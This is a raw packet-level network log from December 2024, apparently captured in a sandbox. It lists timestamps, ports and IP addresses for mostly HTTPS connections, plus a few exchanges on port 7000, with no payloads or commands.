Dec 5, 2024 14:02:36.599944115 CET	49942	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.599972010 CET	443	49942	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.600435019 CET	49942	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.600440025 CET	443	49942	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.870600939 CET	443	49941	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.873620987 CET	443	49941	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.873668909 CET	49941	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.874053955 CET	49941	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.874083996 CET	443	49941	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.874100924 CET	49941	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.874106884 CET	443	49941	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.885484934 CET	49946	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.885531902 CET	443	49946	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:36.885592937 CET	49946	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.886677027 CET	49946	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:36.886692047 CET	443	49946	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:37.039139032 CET	443	49942	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:37.042427063 CET	443	49942	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:37.042499065 CET	49942	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:37.042644978 CET	49942	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:37.042669058 CET	443	49942	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:37.042682886 CET	49942	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:37.042687893 CET	443	49942	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:37.045852900 CET	49947	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:37.045887947 CET	443	49947	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:37.045964003 CET	49947	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:37.046109915 CET	49947	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:37.046123028 CET	443	49947	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:37.815845966 CET	443	49943	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:37.818622112 CET	49943	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:37.818622112 CET	49943	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:37.818640947 CET	443	49943	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:37.818658113 CET	443	49943	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:37.821157932 CET	443	49944	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:37.822297096 CET	49944	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:37.822297096 CET	49944	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:37.822325945 CET	443	49944	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:37.822343111 CET	443	49944	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.170160055 CET	443	49945	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.174452066 CET	49945	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.174452066 CET	49945	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.174472094 CET	443	49945	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.174488068 CET	443	49945	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.250025988 CET	443	49943	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.253951073 CET	443	49943	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.254935980 CET	49943	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.255028009 CET	49943	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.255028009 CET	49943	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.255043030 CET	443	49943	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.255052090 CET	443	49943	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.259310007 CET	443	49944	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.259351969 CET	49948	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.259397030 CET	443	49948	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.261903048 CET	49948	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.261903048 CET	49948	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.261934996 CET	443	49948	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.262053967 CET	443	49944	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.262099981 CET	443	49944	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.262135029 CET	49944	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.265670061 CET	49944	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.265670061 CET	49944	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.267648935 CET	49944	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.267651081 CET	49949	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.267668962 CET	443	49944	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.267688990 CET	443	49949	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.269782066 CET	49949	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.269782066 CET	49949	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.269814014 CET	443	49949	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.604968071 CET	443	49946	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.607280016 CET	443	49945	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.610836029 CET	443	49945	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.610913992 CET	443	49945	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.610922098 CET	49945	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.610955000 CET	49945	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.645777941 CET	49946	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.645795107 CET	443	49946	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.646970987 CET	49946	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.646975994 CET	443	49946	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.647603989 CET	49945	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.647630930 CET	443	49945	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.647644997 CET	49945	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.647650957 CET	443	49945	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.656636953 CET	49950	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.656672955 CET	443	49950	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.656735897 CET	49950	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.657247066 CET	49950	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.657262087 CET	443	49950	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.761811972 CET	443	49947	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.767021894 CET	49947	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.767038107 CET	443	49947	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:38.771415949 CET	49947	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:38.771423101 CET	443	49947	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.039088964 CET	443	49946	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.042705059 CET	443	49946	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.042771101 CET	49946	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.177782059 CET	49946	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.177813053 CET	443	49946	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.177824974 CET	49946	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.177830935 CET	443	49946	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.196645975 CET	443	49947	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.199862957 CET	443	49947	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.199920893 CET	443	49947	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.199929953 CET	49947	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.199970007 CET	49947	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.273277044 CET	49947	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.273313046 CET	443	49947	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.273324966 CET	49947	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.273332119 CET	443	49947	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.288163900 CET	49951	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.288208961 CET	443	49951	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.288265944 CET	49951	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.289339066 CET	49951	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.289355040 CET	443	49951	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.290684938 CET	49952	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.290725946 CET	443	49952	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.290786028 CET	49952	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.290935040 CET	49952	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.290951014 CET	443	49952	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.977593899 CET	443	49948	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.978571892 CET	49948	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.978593111 CET	443	49948	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.979243040 CET	49948	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.979249001 CET	443	49948	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.986212969 CET	443	49949	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.986639023 CET	49949	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.986659050 CET	443	49949	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:39.987407923 CET	49949	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:39.987413883 CET	443	49949	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.374754906 CET	443	49950	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.375803947 CET	49950	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.375803947 CET	49950	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.375833988 CET	443	49950	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.375843048 CET	443	49950	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.418741941 CET	443	49948	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.419653893 CET	443	49948	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.419723034 CET	49948	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.419750929 CET	49948	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.419764042 CET	443	49948	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.419780970 CET	49948	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.419787884 CET	443	49948	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.420686960 CET	443	49949	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.423783064 CET	49953	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.423823118 CET	443	49953	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.423886061 CET	49953	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.424144030 CET	443	49949	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.424153090 CET	49953	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.424164057 CET	443	49953	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.424185991 CET	443	49949	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.424196005 CET	49949	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.424240112 CET	49949	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.424293995 CET	49949	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.424316883 CET	443	49949	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.424321890 CET	49949	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.424328089 CET	443	49949	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.427582026 CET	49954	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.427615881 CET	443	49954	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.427686930 CET	49954	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.427917957 CET	49954	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.427932024 CET	443	49954	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.809184074 CET	443	49950	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.812582016 CET	443	49950	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.812642097 CET	49950	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.812675953 CET	49950	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.812691927 CET	443	49950	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.817106962 CET	49955	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.817138910 CET	443	49955	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:40.817195892 CET	49955	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.817394972 CET	49955	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:40.817405939 CET	443	49955	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.008789062 CET	443	49952	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.009556055 CET	49952	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.009577036 CET	443	49952	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.010027885 CET	443	49951	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.010155916 CET	49952	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.010162115 CET	443	49952	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.010643005 CET	49951	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.010662079 CET	443	49951	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.011202097 CET	49951	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.011208057 CET	443	49951	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.447101116 CET	443	49952	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.447132111 CET	443	49952	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.447196007 CET	443	49952	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.447247028 CET	49952	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.447326899 CET	49952	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.447593927 CET	49952	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.447593927 CET	49952	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.447613955 CET	443	49952	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.447626114 CET	443	49952	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.448111057 CET	443	49951	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.448128939 CET	443	49951	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.448287964 CET	49951	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.448301077 CET	443	49951	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.449635983 CET	49951	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.449635983 CET	49951	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.449654102 CET	443	49951	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.449835062 CET	443	49951	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.449868917 CET	443	49951	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.453587055 CET	49956	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.453624010 CET	443	49956	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.453660965 CET	49951	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.454113960 CET	49957	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.454145908 CET	443	49957	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.454171896 CET	49956	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.454236984 CET	49957	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.455755949 CET	49956	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.455771923 CET	443	49956	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:41.455929995 CET	49957	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:41.455950022 CET	443	49957	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.143852949 CET	443	49953	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.145160913 CET	443	49954	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.243832111 CET	49953	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.243849993 CET	443	49953	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.249603987 CET	49953	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.249614954 CET	443	49953	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.253585100 CET	49954	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.253618002 CET	443	49954	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.254292011 CET	49954	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.254297018 CET	443	49954	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.534132957 CET	443	49955	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.534840107 CET	49955	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.534864902 CET	443	49955	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.535399914 CET	49955	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.535403967 CET	443	49955	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.579653025 CET	443	49954	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.579906940 CET	443	49953	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.583100080 CET	443	49953	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.583149910 CET	49953	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.583158016 CET	443	49953	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.583170891 CET	443	49953	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.583173037 CET	443	49954	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.583221912 CET	49953	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.583278894 CET	49954	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.583291054 CET	49953	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.583304882 CET	443	49953	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.583319902 CET	49953	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.583326101 CET	443	49953	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.583460093 CET	49954	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.583477974 CET	443	49954	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.583487988 CET	49954	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.583493948 CET	443	49954	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.588126898 CET	49958	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.588171005 CET	443	49958	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.588233948 CET	49958	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.588407993 CET	49959	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.588444948 CET	443	49959	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.588500977 CET	49959	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.588686943 CET	49958	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.588701963 CET	443	49958	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:42.588866949 CET	49959	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:42.588880062 CET	443	49959	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.107712984 CET	443	49955	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.107767105 CET	443	49955	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.107805014 CET	49955	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.107816935 CET	443	49955	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.107830048 CET	443	49955	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.107882977 CET	49955	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.108217001 CET	49955	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.108236074 CET	443	49955	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.108247995 CET	49955	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.108253956 CET	443	49955	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.112519979 CET	49960	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.112576962 CET	443	49960	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.112641096 CET	49960	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.112803936 CET	49960	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.112821102 CET	443	49960	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.174010992 CET	443	49956	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.174602032 CET	49956	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.174642086 CET	443	49956	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.175308943 CET	49956	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.175318956 CET	443	49956	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.217200994 CET	443	49957	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.217761040 CET	49957	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.217782021 CET	443	49957	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.218280077 CET	49957	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.218290091 CET	443	49957	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.608720064 CET	443	49956	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.609107018 CET	443	49956	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.609194994 CET	49956	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.609364033 CET	49956	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.609389067 CET	443	49956	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.609421015 CET	49956	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.609427929 CET	443	49956	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.612201929 CET	49961	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.612250090 CET	443	49961	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.612462044 CET	49961	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.612668037 CET	49961	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.612683058 CET	443	49961	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.652154922 CET	443	49957	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.655498981 CET	443	49957	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.655555964 CET	443	49957	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.655597925 CET	49957	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.655711889 CET	49957	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.655755043 CET	49957	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.655755997 CET	49957	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.655775070 CET	443	49957	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.655790091 CET	443	49957	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.660962105 CET	49962	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.661021948 CET	443	49962	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.661339045 CET	49962	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.661448956 CET	49962	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:43.661464930 CET	443	49962	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:43.852689981 CET	49702	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:02:43.853616953 CET	49704	80	192.168.2.6	199.232.210.172
Dec 5, 2024 14:02:44.159744024 CET	443	49702	20.190.177.147	192.168.2.6
Dec 5, 2024 14:02:44.159776926 CET	80	49704	199.232.210.172	192.168.2.6
Dec 5, 2024 14:02:44.159859896 CET	49702	443	192.168.2.6	20.190.177.147
Dec 5, 2024 14:02:44.159876108 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:44.159914017 CET	49704	80	192.168.2.6	199.232.210.172
Dec 5, 2024 14:02:44.306436062 CET	443	49958	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.307141066 CET	49958	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.307168007 CET	443	49958	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.307682037 CET	49958	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.307687998 CET	443	49958	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.307706118 CET	443	49959	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.308233976 CET	49959	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.308250904 CET	443	49959	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.309075117 CET	49959	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.309081078 CET	443	49959	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.383618116 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:44.436053038 CET	7000	49734	69.174.100.131	192.168.2.6
Dec 5, 2024 14:02:44.436145067 CET	49734	7000	192.168.2.6	69.174.100.131
Dec 5, 2024 14:02:44.646756887 CET	443	49960	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.670738935 CET	49960	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.670754910 CET	443	49960	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.672861099 CET	49960	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.672866106 CET	443	49960	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.742743015 CET	443	49958	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.742892027 CET	443	49959	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.745939016 CET	443	49958	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.746141911 CET	443	49959	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.746215105 CET	443	49959	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.746212959 CET	49958	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.746249914 CET	49959	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.746268988 CET	49959	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.818675041 CET	49958	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.818696022 CET	443	49958	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.818706989 CET	49958	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.818712950 CET	443	49958	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:44.822371960 CET	49959	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:44.822396994 CET	443	49959	13.107.246.63	192.168.2.6
